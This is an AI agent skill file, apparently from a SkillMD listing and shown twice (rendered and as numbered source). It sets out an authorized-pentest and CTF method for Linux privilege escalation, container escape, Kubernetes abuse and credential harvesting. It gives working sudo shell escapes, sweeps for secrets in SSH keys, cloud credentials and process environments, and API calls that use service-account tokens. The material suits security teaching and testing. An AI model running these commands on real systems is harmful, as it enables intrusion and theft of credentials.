Systematic privilege escalation methodology for authorized security assessments, CTF
challenges, and penetration testing engagements. Covers Linux systems, containers, Kubernetes
clusters, VPN infrastructure, and IaC credential exposure.
This skill is offensive - it assumes you have initial access and guides escalation to higher
privileges. For defensive hardening and vulnerability scanning, use the security-audit skill
instead.
When to use
Authorized penetration testing engagements (with written scope)
CTF challenges and security training labs (HTB, THM, PG, etc.)
Post-exploitation enumeration after gaining initial shell access
Red team exercises with defined rules of engagement
Assessing your own infrastructure for privilege escalation paths
Container escape and Kubernetes RBAC abuse testing
VPN credential extraction and lateral movement assessment
When NOT to use
Defensive security reviews or hardening (use security-audit)
Without written authorization from the system owner
AI Self-Check
Before executing any technique or generating exploitation commands, verify:
Authorization confirmed: written scope document or CTF/lab context established
Target in scope: IP/hostname/namespace is within the authorized boundary
No production data access: avoid reading actual user data beyond what's needed to prove access
Evidence captured: command output logged for the report before moving on
Cleanup planned: any files dropped, users created, or configs modified are tracked for removal
No destructive actions: kernel exploits tested in lab first, no rm -rf, no disk writes to critical paths
Architecture matched: exploit/payload matches target arch (uname -m). x86_64 exploits don't work on ARM, 32-bit payloads fail on 64-bit-only systems
Reverse shells use authorized ports: listener IP and port match the engagement plan
Current source checked: dated versions, CLI flags, API names, and support windows are verified against primary docs before repeating them
Hidden state identified: local config, credentials, caches, contexts, branches, cluster targets, or previous runs are made explicit before acting
Verification is real: final checks exercise the actual runtime, parser, service, or integration point instead of only linting prose or happy paths
Routing overlap checked: overlapping skills, trigger terms, and "When NOT to use" boundaries are checked before returning guidance
Spec claims verified: claims about tool behavior, output contracts, or repo conventions are checked against current docs, scripts, or skill files
Performance
Run low-noise enumeration first; expensive scanners and brute-force tools require scope and rate limits.
Capture command output as you go so repeated enumeration is unnecessary.
Prioritize likely local privesc paths from kernel, sudo, SUID, services, containers, and writable paths before broad tool dumps.
Best Practices
Keep CTF shortcuts out of real pentest guidance unless the user says it is a CTF.
Document exact preconditions and proof for every privilege boundary crossed.
Do not install persistence or cleanup evidence unless the engagement explicitly requires and authorizes it.
Workflow
Phase 1: Situational Awareness
Determine what you're working with before trying anything.
# Who am I, what can I do?
id && hostname && uname -a && cat /etc/*-release 2>/dev/null
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -qiE 'docker|kubepods|containerd' && echo "CONTAINER" || echo "HOST"
ls -la /.dockerenv 2>/dev/null && echo "Docker container detected"
cat /proc/self/mountinfo | grep -q 'kubepods' && echo "Kubernetes pod detected"
# What's the network look like?
ip addr && ip route && ss -tulpn
Decision tree:
Bare metal / VM -> Phase 2 (Linux privesc)
Docker container -> Phase 5 (container breakout)
Kubernetes pod -> Phase 6 (k8s privesc)
Any of the above -> also check Phase 7 (VPN/secrets) and Phase 8 (IaC)
Phase 2: Linux Privilege Escalation
Core Linux privesc methodology. Start with automated enumeration, then work through
manual techniques.
SSH agent hijacking - SSH_AUTH_SOCK socket theft from other users, key injection, tunnel pivoting (-L, -R, -D)
Phase 5: Container Breakout
If you're inside a container, look for escape vectors. The --privileged flag is the critical enabler - it disables all security mechanisms (seccomp, AppArmor, capability drops, device cgroup) and grants full access to host devices. A privileged container is effectively root on the host.
Read references/container-breakout.md for the full technique library
covering:
Docker socket - mounted /var/run/docker.sock -> full host access
Namespace escape - nsenter, /proc/1/root, user namespace breakout
Quick check:
# Am I privileged?
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" && ip link del dummy0
# Docker socket?
ls -la /var/run/docker.sock 2>/dev/null
# Capabilities?
cat /proc/self/status | grep -i capeff
# capsh if available
capsh --print 2>/dev/null
# Host mount?
mount | grep -E '^/dev/' | grep -v 'overlay'
Phase 6: Kubernetes Privilege Escalation
If you're inside a k8s pod or have access to a kubeconfig.
Read references/kubernetes-privesc.md for the full technique library
covering:
ServiceAccount token - auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/, API access, token scoping (pre/post 1.24)
references/shells-and-pivoting.md - reverse shells, SSH tunneling, agent hijacking, port forwarding, file transfer
Scope Boundaries
Windows targets: This skill covers Linux, containers, and Kubernetes. Windows privilege escalation (token impersonation, SeImpersonatePrivilege, PrintSpoofer, AD abuse, Kerberoasting) is a separate domain not covered here. For Windows CTF/pentest, research Windows-specific tooling (WinPEAS, PowerUp, Rubeus, BloodHound) directly.
Evidence Capture Template
Rule 4 says document everything. Use this structure per finding:
## Finding: [short name]
- **Vector**: [sudo/SUID/cron/container/k8s/kernel/etc.]
- **Access before**: [user/group, e.g., www-data]
- **Access after**: [user/group, e.g., root]
- **Steps**: [numbered list of exact commands run]
- **Proof**: [command output showing escalated access, e.g., id, whoami, cat /root/proof.txt]
- **Cleanup**: [files created, users added, configs changed - and how to reverse]
- **Remediation**: [what the defender should fix]
Capture script -q /tmp/session.log at the start of each engagement to get a full terminal transcript.
Output Contract
See skills/_shared/output-contract.md for the full contract.
Skill name: LOCKPICK
Deliverable bucket:audits
Mode: conditional. When invoked to analyze, review, audit, or improve existing repo content, emit the full contract - boxed inline header, body summary inline plus per-finding detail in the deliverable file, boxed conclusion, conclusion table - and write the deliverable to docs/local/audits/lockpick/<YYYY-MM-DD>-<slug>.md. When invoked to answer a question, teach a concept, build a new artifact, or generate content, respond freely without the contract.
Severity scale:P0 | P1 | P2 | P3 | info (see shared contract; only used in audit/review mode).
Related Skills
security-audit - defensive counterpart. Finds vulnerabilities through SAST, dependency scanning, and config review. This skill exploits them. Use security-audit for hardening; use lockpick for proving exploitability.
networking - configures and troubleshoots VPNs, DNS, proxies, firewalls. Lockpick's VPN section extracts credentials and keys from existing configs for lateral movement. Use networking for setup; use lockpick for exploitation.
kubernetes - writes and reviews k8s manifests and Helm charts. Lockpick's k8s section attacks the cluster from inside a compromised pod. Use kubernetes for building; use lockpick for breaking.
docker - Dockerfile and Compose authoring. Lockpick's container section escapes from running containers. Use docker for building images; use lockpick for escaping them.
ansible - playbook and role authoring. Lockpick's IaC section targets Ansible vault cracking and credential extraction, not playbook writing.
terraform - IaC authoring. Lockpick's IaC section targets state file secret extraction, not Terraform module design.
Rules
Authorization is non-negotiable. Every technique requires written authorization or a CTF/lab context. No exceptions, no "it's my own box" without explicit confirmation.
Enumerate before exploiting. Run through the full enumeration checklist before attempting kernel exploits or destructive techniques. The easy wins (sudo, SUID, cron) are safer and more reliable.
Kernel exploits are last resort. They can crash the system, corrupt memory, or trigger panic. Try everything else first. Test in a lab environment when possible.
Document everything. Capture command output before moving to the next technique. Evidence of the escalation path is the deliverable, not just root access.
Clean up after yourself. Track files created, users added, configs modified. Remove them at the end of the engagement or note them for the client.
Don't access unnecessary data. Proving root access doesn't require reading actual user data. A whoami or /root/proof.txt is enough.
Stay in scope. Lateral movement to systems outside the authorized boundary is out of scope unless explicitly permitted.
Prefer living off the land. Use tools already on the system before uploading custom binaries. Less forensic footprint, fewer detection triggers.
1---2name: lockpick3description: · Handle authorized privesc, CTFs, post-exploitation on Linux, containers, K8s. Triggers: 'privesc', 'CTF', 'pentest', 'post-exploitation', 'container escape', 'SUID', 'GTFOBins'. Not for hardening (use security-audit).4license: MIT5---67# Lockpick: Privilege Escalation & Post-Exploitation Assessment
89Systematic privilege escalation methodology for authorized security assessments, CTF
10challenges, and penetration testing engagements. Covers Linux systems, containers, Kubernetes
11clusters, VPN infrastructure, and IaC credential exposure.
1213This skill is offensive - it assumes you have initial access and guides escalation to higher
14privileges. For defensive hardening and vulnerability scanning, use the **security-audit** skill
15instead.
1617## When to use
1819- Authorized penetration testing engagements (with written scope)
20- CTF challenges and security training labs (HTB, THM, PG, etc.)
21- Post-exploitation enumeration after gaining initial shell access
22- Red team exercises with defined rules of engagement
23- Assessing your own infrastructure for privilege escalation paths
24- Container escape and Kubernetes RBAC abuse testing
25- VPN credential extraction and lateral movement assessment
2627## When NOT to use
2829- Defensive security reviews or hardening (use **security-audit**)
30- Application code vulnerability scanning / SAST (use **security-audit**)
31- VPN setup, configuration, or troubleshooting (use **networking**)
32- Firewall rule auditing (use **firewall-appliance**)
33- Docker image hardening or Dockerfile review (use **docker**)
34- Kubernetes manifest security review (use **kubernetes**)
35- CI/CD pipeline security (use **ci-cd**)
36- Without written authorization from the system owner
3738---
3940## AI Self-Check
4142Before executing any technique or generating exploitation commands, verify:
4344- [ ] **Authorization confirmed**: written scope document or CTF/lab context established
45- [ ] **Target in scope**: IP/hostname/namespace is within the authorized boundary
46- [ ] **No production data access**: avoid reading actual user data beyond what's needed to prove access
47- [ ] **Evidence captured**: command output logged for the report before moving on
48- [ ] **Cleanup planned**: any files dropped, users created, or configs modified are tracked for removal
49- [ ] **No destructive actions**: kernel exploits tested in lab first, no `rm -rf`, no disk writes to critical paths
50- [ ] **Architecture matched**: exploit/payload matches target arch (`uname -m`). x86_64 exploits don't work on ARM, 32-bit payloads fail on 64-bit-only systems
51- [ ] **Reverse shells use authorized ports**: listener IP and port match the engagement plan
52- [ ] **Current source checked**: dated versions, CLI flags, API names, and support windows are verified against primary docs before repeating them
53- [ ] **Hidden state identified**: local config, credentials, caches, contexts, branches, cluster targets, or previous runs are made explicit before acting
54- [ ] **Verification is real**: final checks exercise the actual runtime, parser, service, or integration point instead of only linting prose or happy paths
55- [ ] **Routing overlap checked**: overlapping skills, trigger terms, and "When NOT to use" boundaries are checked before returning guidance
56- [ ] **Spec claims verified**: claims about tool behavior, output contracts, or repo conventions are checked against current docs, scripts, or skill files
5758---
5960## Performance
6162- Run low-noise enumeration first; expensive scanners and brute-force tools require scope and rate limits.
63- Capture command output as you go so repeated enumeration is unnecessary.
64- Prioritize likely local privesc paths from kernel, sudo, SUID, services, containers, and writable paths before broad tool dumps.
656667---
6869## Best Practices
7071- Keep CTF shortcuts out of real pentest guidance unless the user says it is a CTF.
72- Document exact preconditions and proof for every privilege boundary crossed.
73- Do not install persistence or cleanup evidence unless the engagement explicitly requires and authorizes it.
747576## Workflow
7778### Phase 1: Situational Awareness
7980Determine what you're working with before trying anything.
8182```bash
83# Who am I, what can I do?
84id && hostname && uname -a && cat /etc/*-release 2>/dev/null
8586# Am I in a container?
87cat /proc/1/cgroup 2>/dev/null | grep -qiE 'docker|kubepods|containerd' && echo "CONTAINER" || echo "HOST"
88ls -la /.dockerenv 2>/dev/null && echo "Docker container detected"
89cat /proc/self/mountinfo | grep -q 'kubepods' && echo "Kubernetes pod detected"
9091# What's the network look like?
92ip addr && ip route && ss -tulpn
93```
9495**Decision tree:**
96- **Bare metal / VM** -> Phase 2 (Linux privesc)
97- **Docker container** -> Phase 5 (container breakout)
98- **Kubernetes pod** -> Phase 6 (k8s privesc)
99- **Any of the above** -> also check Phase 7 (VPN/secrets) and Phase 8 (IaC)
100101### Phase 2: Linux Privilege Escalation
102103Core Linux privesc methodology. Start with automated enumeration, then work through
104manual techniques.
105106**Sudo GTFOBins quick-reference** (top-5 CTF patterns, inline):
107```
108sudo vim -> :!bash (or :set shell=/bin/bash :shell)
109sudo less -> !bash
110sudo find -> sudo find / -name x -exec /bin/bash \;
111sudo awk -> sudo awk 'BEGIN {system("/bin/bash")}'
112sudo nmap -> sudo nmap --interactive (then !sh) [older nmap only]
113```
114Run `sudo -l` first - if any of these appear, escalation is one command away.
115116Read `references/linux-privesc.md` for the full technique library
117covering:
1181191. **Automated enumeration** - LinPEAS, pspy, Linux Exploit Suggester
1202. **Sudo abuse** - `sudo -l` misconfigs, GTFOBins, LD_PRELOAD, env_keep
1213. **SUID/SGID binaries** - find + exploit via GTFOBins
1224. **Linux capabilities** - `getcap`, cap_setuid, cap_dac_read_search
1235. **Cron jobs** - writable scripts, PATH hijacking in cron context
1246. **Kernel exploits** - version-matched CVEs (Dirty Pipe, nf_tables, io_uring, OverlayFS; 2026: Copy Fail CVE-2026-31431 [CISA KEV, exploited], Dirty Frag CVE-2026-43284/43500, Fragnesia CVE-2026-46300 [ESP-in-TCP, exploited], ptrace CVE-2026-46333)
1257. **PATH hijacking** - SUID binaries calling relative commands
1268. **NFS** - no_root_squash exploitation
1279. **Writable files** - /etc/passwd, /etc/shadow, authorized_keys, systemd units
12810. **Wildcard injection** - tar, chown, rsync with wildcards in cron/scripts
129130**Priority order**: sudo > SUID > capabilities > cron > writable files > kernel exploits.
131Kernel exploits are last resort - they can crash the system.
132133### Phase 3: Credential Harvesting
134135After initial enumeration, sweep for credentials before escalating.
136137```bash
138# History files
139cat ~/.bash_history ~/.zsh_history ~/.mysql_history 2>/dev/null
140141# Config files with passwords
142grep -rils 'password\|passwd\|pass\|secret\|token\|key\|api' \
143 /etc/ /opt/ /var/ /home/ /root/ 2>/dev/null | head -30
144145# SSH keys
146find / -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' \
147 -o -name '*.pem' -o -name '*.key' 2>/dev/null
148149# Database credentials
150cat /etc/mysql/debian.cnf 2>/dev/null
151cat /var/www/*/wp-config.php 2>/dev/null
152grep -r 'DATABASE_URL\|DB_PASS\|POSTGRES_PASSWORD' /opt/ /srv/ /var/ 2>/dev/null
153154# Cloud credentials
155cat ~/.aws/credentials ~/.config/gcloud/credentials.db 2>/dev/null
156env | grep -iE 'aws|azure|gcp|cloud|token|key|secret|pass'
157158# Process memory (credentials in running services)
159# Read environ of interesting processes (web servers, databases, agents)
160for pid in $(pgrep -f 'nginx\|apache\|postgres\|mysql\|node\|python\|java' 2>/dev/null); do
161 echo "=== PID $pid ($(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')) ==="
162 cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|secret|token|key|dsn|database_url'
163done
164```
165166### Phase 4: VPN & Tunnel Credential Extraction
167168Check for VPN configurations that reveal keys, topology, or credentials for lateral movement.
169170Read `references/vpn-iac-secrets.md` for the full technique library
171covering:
1721731. **WireGuard** - `/etc/wireguard/*.conf` private key extraction, peer topology mapping, AllowedIPs as network map, PreUp/PostUp script injection
1742. **OpenVPN** - `.ovpn` embedded certs/keys, `auth-user-pass` credential files, management interface abuse (port 7505), plugin loading (CVE-2024-27903 chain)
1753. **IPsec** - `/etc/ipsec.secrets` PSK/RSA extraction, `ike-scan` aggressive mode hash capture + offline cracking, swanctl credential theft
1764. **SSH agent hijacking** - `SSH_AUTH_SOCK` socket theft from other users, key injection, tunnel pivoting (`-L`, `-R`, `-D`)
177178### Phase 5: Container Breakout
179180If you're inside a container, look for escape vectors. **The `--privileged` flag is the critical enabler** - it disables all security mechanisms (seccomp, AppArmor, capability drops, device cgroup) and grants full access to host devices. A privileged container is effectively root on the host.
181182Read `references/container-breakout.md` for the full technique library
183covering:
1841851. **Docker socket** - mounted `/var/run/docker.sock` -> full host access
1862. **Privileged mode** - `--privileged` -> mount host filesystems, load kernel modules
1873. **Dangerous capabilities** - SYS_ADMIN (cgroup escape), SYS_PTRACE (process injection), DAC_READ_SEARCH (shocker), SYS_MODULE
1884. **Host mounts** - `/host`, `/mnt`, or host paths mounted into container
1895. **Docker group** - user in `docker` group = effective root
1906. **Runtime CVEs** - runc (CVE-2024-21626 Leaky Vessels), containerd, BuildKit
1917. **cgroup escape** - v1 release_agent abuse (CVE-2022-0492), notify_on_release
1928. **Namespace escape** - nsenter, /proc/1/root, user namespace breakout
193194**Quick check:**
195```bash
196# Am I privileged?
197ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" && ip link del dummy0
198# Docker socket?
199ls -la /var/run/docker.sock 2>/dev/null
200# Capabilities?
201cat /proc/self/status | grep -i capeff
202# capsh if available
203capsh --print 2>/dev/null
204# Host mount?
205mount | grep -E '^/dev/' | grep -v 'overlay'
206```
207208### Phase 6: Kubernetes Privilege Escalation
209210If you're inside a k8s pod or have access to a kubeconfig.
211212Read `references/kubernetes-privesc.md` for the full technique library
213covering:
2142151. **ServiceAccount token** - auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/`, API access, token scoping (pre/post 1.24)
2162. **RBAC abuse** - wildcard permissions, escalate/bind verbs, create pods + get secrets, impersonation
2173. **Pod creation** - schedule privileged pods, hostPath mounts, node selectors
2184. **etcd direct access** - default port 2379, client cert theft, secret extraction
2195. **Kubelet API** - anonymous auth on 10250, exec into any pod, node-level access
2206. **Node-to-cluster** - kubeconfig files, static pod manifests, CNI creds, cloud IMDS
2217. **Pod Security bypass** - namespace label manipulation, admission controller gaps
222223**Quick check from inside a pod:**
224```bash
225# ServiceAccount token
226TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
227APISERVER="https://kubernetes.default.svc"
228229# What can I do?
230curl -sk "$APISERVER/apis" -H "Authorization: Bearer $TOKEN" | head -20
231232# Can I list secrets?
233curl -sk "$APISERVER/api/v1/secrets" -H "Authorization: Bearer $TOKEN"
234235# Can I create pods?
236curl -sk "$APISERVER/api/v1/namespaces/default/pods" \
237 -H "Authorization: Bearer $TOKEN" -X POST -H "Content-Type: application/json" \
238 -d '{}' 2>&1 | grep -o '"message":"[^"]*"'
239```
240241### Phase 7: IaC & Cloud Credential Exposure
242243Sweep the filesystem for infrastructure-as-code secrets.
244245Read `references/vpn-iac-secrets.md` (IaC Secrets section) for the full
246technique library covering:
2472481. **Terraform** - `terraform.tfstate` contains plaintext secrets, `.terraform/` provider creds, `TF_VAR_*` env vars, remote state backend credentials
2492. **Ansible** - vault cracking (`ansible2john` + hashcat -m 16900), plaintext `group_vars/`, vault password files, inventory SSH keys
2503. **Cloud IMDS** - AWS `169.254.169.254`, GCP `metadata.google.internal`, Azure metadata headers, IMDSv2 bypass, Kubernetes pod-to-IMDS access
2514. **kubeconfig files** - `~/.kube/config`, `/etc/kubernetes/admin.conf`, embedded certs/tokens
2525. **Sealed Secrets** - controller private key = decrypt everything
2536. **CI/CD credentials** - `.env` files, runner tokens, registry credentials
254255### Phase 8: Lateral Movement & Pivoting
256257Once you've escalated, pivot to other systems.
258259Read `references/shells-and-pivoting.md` for:
2602611. **Reverse shells** - bash, python, perl, netcat, php, ruby, powershell
2622. **SSH tunneling** - local forwarding (-L), remote forwarding (-R), dynamic SOCKS (-D), ProxyJump chains
2633. **SSH agent hijacking** - stealing SSH_AUTH_SOCK from other users for key reuse
2644. **Port forwarding** - chisel, ligolo-ng, socat, SSH as SOCKS proxy
2655. **Internal network scanning** - quick TCP sweep without nmap
2666. **File transfer** - curl, wget, nc, python http.server, base64 encoding
267268---
269270## Enumeration Quick Reference
271272| Vector | Command |
273|--------|---------|
274| Kernel version | `uname -r` |
275| Current user | `id` |
276| Sudo rights | `sudo -l` |
277| SUID binaries | `find / -perm -u=s -type f 2>/dev/null` |
278| SGID binaries | `find / -perm -g=s -type f 2>/dev/null` |
279| Capabilities | `getcap -r / 2>/dev/null` |
280| Cron jobs | `cat /etc/crontab; ls -la /etc/cron.*` |
281| Cron (live) | `pspy` (no root needed, watches /proc) |
282| Writable dirs | `find / -writable -type d 2>/dev/null` |
283| Writable files | `find /etc -writable -type f 2>/dev/null` |
284| NFS exports | `cat /etc/exports` |
285| WireGuard | `ls /etc/wireguard/; wg show 2>/dev/null` |
286| OpenVPN | `find / -name '*.ovpn' 2>/dev/null` |
287| IPsec secrets | `cat /etc/ipsec.secrets 2>/dev/null` |
288| SSH keys | `find / -name 'id_*' -o -name '*.pem' 2>/dev/null` |
289| Docker socket | `ls -la /var/run/docker.sock 2>/dev/null` |
290| K8s SA token | `cat /var/run/secrets/kubernetes.io/serviceaccount/token` |
291| Container? | `cat /proc/1/cgroup 2>/dev/null \| grep -qiE docker\|kube` |
292| Cloud IMDS | `curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null` |
293| Terraform state | `find / -name 'terraform.tfstate*' 2>/dev/null` |
294| Ansible vault | `grep -rl '\$ANSIBLE_VAULT' / 2>/dev/null` |
295296---
297298## Tools
299300| Tool | Purpose | Source |
301|------|---------|--------|
302| LinPEAS | Automated Linux enumeration | [PEASS-ng](https://github.com/peass-ng/PEASS-ng) |
303| pspy | Process snooping without root | [pspy](https://github.com/DominicBreuker/pspy) |
304| Linux Exploit Suggester | Kernel exploit matching | [les](https://github.com/The-Z-Labs/linux-exploit-suggester) |
305| GTFOBins | SUID/sudo/cap binary abuse | [gtfobins.github.io](https://gtfobins.github.io) |
306| CDK | Container/K8s pentest toolkit | [CDK](https://github.com/cdk-team/CDK) |
307| deepce | Docker enumeration/escape | [deepce](https://github.com/stealthcopter/deepce) |
308| kubectl-who-can | RBAC permission checker | [kubectl-who-can](https://github.com/aquasecurity/kubectl-who-can) |
309| kube-hunter | K8s cluster vulnerability scan | [kube-hunter](https://github.com/aquasecurity/kube-hunter) |
310| Peirates | K8s pentest tool | [peirates](https://github.com/inguardians/peirates) |
311| kubeletctl | Kubelet API interaction | [kubeletctl](https://github.com/cyberark/kubeletctl) |
312| ike-scan | IKE/IPsec enumeration + PSK capture | [ike-scan](https://github.com/royhills/ike-scan) |
313| chisel | TCP/UDP tunnel over HTTP | [chisel](https://github.com/jpillora/chisel) |
314| ligolo-ng | Tunneling with TUN interface | [ligolo-ng](https://github.com/nicocha30/ligolo-ng) |
315316---
317318## Reference Files
319320- `references/linux-privesc.md` - core Linux privesc techniques (sudo, SUID, cron, capabilities, kernel exploits, PATH hijack, NFS, wildcards)
321- `references/container-breakout.md` - Docker and container escape techniques (socket, privileged, capabilities, cgroups, runtime CVEs)
322- `references/kubernetes-privesc.md` - Kubernetes RBAC abuse, ServiceAccount exploitation, etcd, kubelet, pod creation, PSS bypass
323- `references/vpn-iac-secrets.md` - VPN credential extraction (WireGuard, OpenVPN, IPsec) and IaC secrets exposure (Terraform, Ansible, cloud IMDS)
324- `references/shells-and-pivoting.md` - reverse shells, SSH tunneling, agent hijacking, port forwarding, file transfer
325326---
327328## Scope Boundaries
329330**Windows targets**: This skill covers Linux, containers, and Kubernetes. Windows privilege escalation (token impersonation, SeImpersonatePrivilege, PrintSpoofer, AD abuse, Kerberoasting) is a separate domain not covered here. For Windows CTF/pentest, research Windows-specific tooling (WinPEAS, PowerUp, Rubeus, BloodHound) directly.
331332---
333334## Evidence Capture Template
335336Rule 4 says document everything. Use this structure per finding:
337338```
339## Finding: [short name]
340- **Vector**: [sudo/SUID/cron/container/k8s/kernel/etc.]
341- **Access before**: [user/group, e.g., www-data]
342- **Access after**: [user/group, e.g., root]
343- **Steps**: [numbered list of exact commands run]
344- **Proof**: [command output showing escalated access, e.g., id, whoami, cat /root/proof.txt]
345- **Cleanup**: [files created, users added, configs changed - and how to reverse]
346- **Remediation**: [what the defender should fix]
347```
348349Capture `script -q /tmp/session.log` at the start of each engagement to get a full terminal transcript.
350351---
352353## Output Contract
354355See `skills/_shared/output-contract.md` for the full contract.
356357- **Skill name:** LOCKPICK
358- **Deliverable bucket:** `audits`
359- **Mode:** conditional. When invoked to **analyze, review, audit, or improve** existing repo content, emit the full contract - boxed inline header, body summary inline plus per-finding detail in the deliverable file, boxed conclusion, conclusion table - and write the deliverable to `docs/local/audits/lockpick/<YYYY-MM-DD>-<slug>.md`. When invoked to **answer a question, teach a concept, build a new artifact, or generate content**, respond freely without the contract.
360- **Severity scale:** `P0 | P1 | P2 | P3 | info` (see shared contract; only used in audit/review mode).
361362## Related Skills
363364- **security-audit** - defensive counterpart. Finds vulnerabilities through SAST, dependency scanning, and config review. This skill exploits them. Use security-audit for hardening; use lockpick for proving exploitability.
365- **networking** - configures and troubleshoots VPNs, DNS, proxies, firewalls. Lockpick's VPN section extracts credentials and keys from existing configs for lateral movement. Use networking for setup; use lockpick for exploitation.
366- **kubernetes** - writes and reviews k8s manifests and Helm charts. Lockpick's k8s section attacks the cluster from inside a compromised pod. Use kubernetes for building; use lockpick for breaking.
367- **docker** - Dockerfile and Compose authoring. Lockpick's container section escapes from running containers. Use docker for building images; use lockpick for escaping them.
368- **firewall-appliance** - OPNsense/pfSense firewall management. Lockpick doesn't cover network-level firewall testing.
369- **ansible** - playbook and role authoring. Lockpick's IaC section targets Ansible vault cracking and credential extraction, not playbook writing.
370- **terraform** - IaC authoring. Lockpick's IaC section targets state file secret extraction, not Terraform module design.
371372---
373374## Rules
3753761. **Authorization is non-negotiable.** Every technique requires written authorization or a CTF/lab context. No exceptions, no "it's my own box" without explicit confirmation.
3772. **Enumerate before exploiting.** Run through the full enumeration checklist before attempting kernel exploits or destructive techniques. The easy wins (sudo, SUID, cron) are safer and more reliable.
3783. **Kernel exploits are last resort.** They can crash the system, corrupt memory, or trigger panic. Try everything else first. Test in a lab environment when possible.
3794. **Document everything.** Capture command output before moving to the next technique. Evidence of the escalation path is the deliverable, not just root access.
3805. **Clean up after yourself.** Track files created, users added, configs modified. Remove them at the end of the engagement or note them for the client.
3816. **Don't access unnecessary data.** Proving root access doesn't require reading actual user data. A `whoami` or `/root/proof.txt` is enough.
3827. **Stay in scope.** Lateral movement to systems outside the authorized boundary is out of scope unless explicitly permitted.
3838. **Prefer living off the land.** Use tools already on the system before uploading custom binaries. Less forensic footprint, fewer detection triggers.
Run npx skillmds add majiayu000/lockpick in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.
· Handle authorized privesc, CTFs, post-exploitation on Linux, containers, K8s. Triggers: 'privesc', 'CTF', 'pentest', 'post-exploitation', 'container escape', 'SUID', 'GTFOBins'. Not for hardening (use security-audit). It is listed under DevOps & Infra on SkillMD.
This skill has not completed SkillMD's automated safety review yet. Capability flags: makes network calls, reads secrets. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.
This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.
Yes. Installing skills from SkillMD is free. This skill is licensed under MIT.
majiayu000 (@majiayu000) published this skill. Their other Agent Skills are listed on their SkillMD profile.